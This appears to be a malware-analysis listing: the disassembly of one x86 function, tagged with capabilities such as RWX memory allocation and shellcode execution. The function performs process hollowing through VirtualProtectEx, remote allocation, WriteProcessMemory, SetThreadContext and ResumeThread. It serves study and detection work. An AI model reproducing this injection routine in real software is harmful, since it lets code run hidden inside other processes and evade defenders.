Function at 0x51f3b4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff10
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov esi, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.00405724
xor eax, eax
push ebp
push 0x51f5b0
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 0xffffffff
lea eax, [ebp - 8]
push eax
mov ecx, esi
mov edx, dword [ebx + 0x34]
mov eax, dword [ebp - 4]
call fcn.0051ef30
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0xc]
lea edx, [ebp - 0xf0]
mov eax, dword [ebp - 8]
call fcn.0051f2a0
test al, al
je 0x51f595
xor eax, eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebx + 0x34]
cmp eax, dword [ebp - 0x10]
jne 0x51f454
cmp esi, dword [ebp - 0x14]
ja 0x51f454
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x18]
push eax
push 0x40
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_VirtualProtectEx
jmp 0x51f4c0
call fcn.0051ef24
test al, al
je 0x51f4c0
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0051f200
test al, al
je 0x51f485
push 0x40
push 0x3000
push esi
mov eax, dword [ebx + 0x34]
push eax
mov eax, dword [ebp - 0xc]
push eax
call dword [0x5518e0]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x51f4c0
mov eax, ebx
call fcn.0051f180
test al, al
je 0x51f4c0
push 0x40
push 0x3000
push esi
push 0
mov eax, dword [ebp - 0xc]
push eax
call dword [0x5518e0]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x51f4c0
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp + 0x10]
mov eax, ebx
call fcn.0051f198
cmp dword [ebp - 0x20], 0
je 0x51f571
lea eax, [ebp - 0x1c]
push eax
push 4
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x4c]
add eax, 8
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov eax, dword [ebp - 0x20]
mov dword [ebx + 0x34], eax
lea eax, [ebp - 0x1c]
push eax
push esi
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x51f54b
mov dword [ebp - 0xf0], 0x10007
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x10]
jne 0x51f521
mov eax, dword [ebx + 0x34]
add eax, dword [ebx + 0x28]
mov dword [ebp - 0x40], eax
jmp 0x51f527
add eax, dword [ebx + 0x28]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0xf0]
push eax
mov eax, dword [ebp - 0x24]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [ebp - 0x24]
push eax
call sub.kernel32.dll_ResumeThread
mov eax, dword [ebp - 0x24]
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x51f595
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0x24]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [ebp - 0xc], 0xffffffff
jmp 0x51f595
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_TerminateProcess
mov eax, dword [ebp - 0x24]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
mov dword [ebp - 0xc], 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x51f5b7
lea eax, [ebp - 8]
mov edx, 2
call fcn.004052c8
ret